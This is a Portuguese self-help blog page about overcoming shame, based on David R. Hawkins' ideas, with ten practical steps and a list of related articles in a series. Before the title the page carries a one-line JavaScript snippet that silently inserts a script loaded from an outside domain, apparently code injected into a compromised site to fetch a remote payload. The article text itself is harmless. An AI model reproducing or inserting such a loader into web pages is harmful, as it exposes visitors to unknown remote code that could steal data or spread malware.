;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Você já sentiu vergonha? É possivel superá-la? - David Hawkins Brasil
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Vergonha, é possível vencê-la? – com base em Dr. David Hawkins

A vergonha é um dos maiores bloqueios do ser humano para enfrentar problemas e se desenvolver

Essa emoção está tão presente em nosso dia a dia que muitas vezes nem a percebemos. Sentimos vergonha:

  • por um elogio,
  • em ter feito algo sem querer que saia dos padrões aceitáveis da sociedade (deixar comida cair, babar ao rir, arrotar entre a fala, etc),
  • vergonha por estar com uma espinha no rosto,
  • da nossa gordurinha localizada,
  • de nossa família,
  • de nós mesmos,
  • vergonha “alheia” (pelo que o outro fez),
  • vergonha de assumir nossas decisões,
  • de voltar atrás em uma decisão,
  • de nossos pensamentos bizarros que achamos que só nós temos,
  • vergonha de sentir vergonha.

Afinal, por que sentimos tanta vergonha?

Para entender isso, precisamos beber da fonte da vergonha, que é a resistência à Realidade. A vergonha é o medo de:

  • não ser aceito pelos outros,
  • errar,
  • se expor ao ridículo,
  • falhar,
  • decepcionar os outros,
  • não atender às expectativas dos outros ou de si.

Ou seja, são medos das projeções e cobranças sociais e culturais.

Historicamente, vergonha era acompanhada de banimento. Um pária da sociedade era banido de seu grupo ou bando e fadado a viver em isolamento como castigo por ser diferente.

Antigamente, os grupos de humanos eram mais restritos, mais desconfiados de estranhos e a violência era liberada por ausência de autoridades.

Por isso, ser banido era sinônimo de quase morte. Era apenas uma questão de tempo até ficar sem recursos ou ser atacado por um animal faminto ou um bárbaro.

Consequentemente, esse trauma ficou registrado no inconsciente da sociedade e, hoje, a vergonha continua como um dos sentimentos mais inaceitáveis que se pode ter.

É um sentimento que traz tanta ausência de energia que é considerado o mais próximo da morte pelo Dr. David R. Hawkins, Ph.D., M.D. americano, autor do livro best-seller Power vs Force.

Dr. Hawkins afirma que a vergonha é utilizada como uma ferramenta de crueldade na sociedade, através de acusações e projeções de culpa pelos atos de uma pessoa no passado.

Isso se manifesta através de afirmações como: “você não tem vergonha?”, “eu sinto vergonha de você”, “você deveria se envergonhar”, “você é uma vergonha para a sociedade”.

Qualquer atitude que saia dos padrões de crenças de uma pessoa é considerada inaceitável, condenável e, logo, digna de vergonha.

Para entender como vencer a vergonha é necessário primeiro entender alguns pontos:

1. Vergonha é atrelada às crenças

Todos os seres humanos possuem sistemas de crenças próprios ou coletivos. Esses sistemas não são a Realidade, mas pontos de vistas julgamentalistas e emocionais sobre ela.

São opiniões e posicionalidades diferentes e distantes do que realmente É ou Foi. São retratos da realidade extraídos de um ângulo que não considera e percebe os outros ângulos.

Como em uma Polaroid, a foto esmaece e perde sua nitidez. Dessa forma, qualquer vergonha não é a Realidade, mas uma mera percepção sobre ela e a vontade de controlar como a realidade “deveria ser” ou “deveria ter sido”.

2. Vergonha é resistência à Realidade

Com isso, percebemos que a realidade acontece e, quando acontece, resistimos à ela por querer que ela “tivesse sido” diferente.

E isso é distanciamento da realidade. Afinal, a realidade é como se manifesta e não tem como ser diferente, caso contrário já seria diferente, obviamente.

Portanto, resistir à realidade traz sofrimento. Quanto maior o grau de resistência, maior o sofrimento. E o grau máximo de resistência à realidade leva o nome de vergonha.

Em suma, a vergonha é um estado onde gostaríamos de sumir, de virar um avestruz e esconder nossas cabeças na terra ou até mesmo preferir “morrer” ao invés de encarar aquela situação.

3. Vergonha é uma mentira bem contada

Se vergonha é resistência à realidade, mas acreditamos nela, significa que esse sentimento vem acompanhado de diversas justificativas argumentativas que nos convencem que devemos acreditar na vergonha e nos sentir envergonhados.

Essas justificativas são falsas, pois elas negam a realidade. Logo, o que nega a realidade é falsidade, é irrealidade, é ilusão.

Como, então, fazemos para vencer essa emoção?

Devemos aceitar a realidade como ela se manifesta ou se manifestou, sem resistência e, se possível, com gratidão.

Afinal, essa realidade é uma oportunidade de aprendizado para fazermos diferente da próxima vez. Todos os seres humanos erram. E o erro é a forma de acertarmos e nos corrigirmos. Isso é evolução.

O caminho é aprender com os erros e ser grato a eles. Quando aceitamos a realidade, partimos do princípio de humildade em reconhecer que as coisas não são como queremos que sejam, pois não temos o controle de tudo ao nosso redor.

Portanto, quando entendemos esse princípio, passamos a ver a vida com maior Graça. Com humor. E no humor não há vergonha. Ela é chata. Humor é divertido.

Mas o que significa aceitar a realidade?

Aceitar a realidade é entender que tudo ao nosso redor convergiu para que aquela determinada situação ocorresse por algum motivo, às vezes não entendida a partir das nossas percepções limitadas dos cinco sentidos e da interpretação da mente.

Partindo do principio de que “se aconteceu é porque tinha que ter acontecido”, nos livramos do peso do erro intencional ou por incapacidade.

Só nos vemos capazes de fazer diferente agora porque já experienciamos aquela situação. Seria impossível fazer diferente antes, porque senão teríamos feito. Aí está a Evolução.

Isso implica em, aprender com o erro e se permitir entender as coisas de maneira mais ampla, sem se culpar pelo passado.

Se negamos a realidade caímos em vergonha e, presos nesse sentimento denso, nada acontece. Não há aprendizado.

Então, a experiência perde sua essência e um acontecimento semelhante terá de surgir novamente. Só assim será possível despertar o nosso potencial de aprendizado que foi negligenciado na experiência anterior por não termos aprendido com o “erro”.

Assim, nos escravizamos em um círculo vicioso de sermos sempre vítimas de nossas próprias escolhas ou ausências de escolhas.

Para vencer a vergonha é necessário querer abrir mão do prazer de ser vítima. Pois a vítima tem o benefício de receber atenção daqueles que sentem dó. E receber esse amparo e carinho é agradável para o nosso ego narcisista.

Logo, ficar envergonhado e se colocar no papel de vítima tem suas recompensas: o de se tornar o centro das atenções.

Esse prazer oculto do ego precisa ser rendido e entregue, entendendo que essa atenção recebida temporariamente só faz com que nos mantenhamos no estado de vergonha até um próximo ciclo.

Ou seja, um minúsculo prazer de curto prazo que traz sofrimento no curto, médio e longo prazo e não vale a pena no contexto evolutivo.

10 passos práticos para vencer a vergonha

Na prática, assim que essa emoção surge, devemos:

  1. Separar o fato de como acreditamos que deveria ter ocorrido (nossa expectativa).
  2. Identificar o sentimento de vergonha e suas falsas justificativas e emocionalidades que tentarão te convencer que se envergonhar é o correto.
  3. Aceitar a realidade como ela É Agora.
  4. Render os prazeres de (a) se envolver com seus julgamentalismos e certezas mentais e (b) buscar atenção e afeto externo através de dó ou autopiedade.
  5. Não ser tirano consigo mesmo e “se dar bronca” por sentir vergonha, mas entender que é apenas uma natureza do ego humano e aceitar também essa natureza, sendo gentil com você mesmo. Se não, pode surgir a vergonha por sentir vergonha.
  6. Continuar observando os jogos falaciosos do ego (seu próprio e dos outros) até sair do turbilhão.
  7. Refletir sobre os aprendizados obtidos com a situação e agradecer pela oportunidade de perceber o absurdo de querer rejeitar a realidade, transformando a falsa percepção em aceitação verdadeira.
  8. Se for possível e sentir necessário, corrija o percurso através do autoperdão, perdoando ou pedindo perdão aos envolvidos e se disponha a reparar os danos ou mudar os acontecimentos.
  9. Se essa opção não for possível, apenas realize o processo de perdão acima mentalmente e continue rendendo os sentimentos de vergonha que irão surgir (e tentar te seduzir) até que a situação se acalme ou passe.
  10. Aceite a si e à Realidade como São, em todos os momentos, sem exceções, dando o seu melhor para evoluir o suficiente a cada dia alinhado aos princípios de moralidade.

Consequências positivas

Treinamentos e Mentorias sobre perdão, empatia, espiritualidade ou autoconhecimento também podem ajudar a entendermos e nos aprofundarmos em nossa natureza. Como consequência positiva, podemos nos aceitar cada dia mais para nos tornarmos pessoas e seres melhores.

Boas práticas.

Acompanhe esta série de artigos do Dr. David Hawkins listados abaixo em ordem crescente:

00. Entendendo os níveis de consciência

01. Como vencer a vergonha?

02. Culpa, para que serve?

03. Como se livrar da tristeza?

04. Enfrentando o medo.

05. O desejo é a fonte do sofrimento.

06. Como controlar a raiva.

07. Por que o orgulho pode nos Prejudicar

08. Coragem é a base do sucesso

09. A neutralidade nos ajuda a não sofrer

10. Disposição pode nos levar a resultados inimagináveis

11. Aceitação, o caminho do perdão.

12. Apenas 4% das pessoas utilizam a razão.

13. O que é amor verdadeiro?

14. A Paz e o processo de Iluminação

15. Como despertar a Iluminação Espiritual

19 respostas em “Vergonha, é possível vencê-la? – com base em Dr. David Hawkins”

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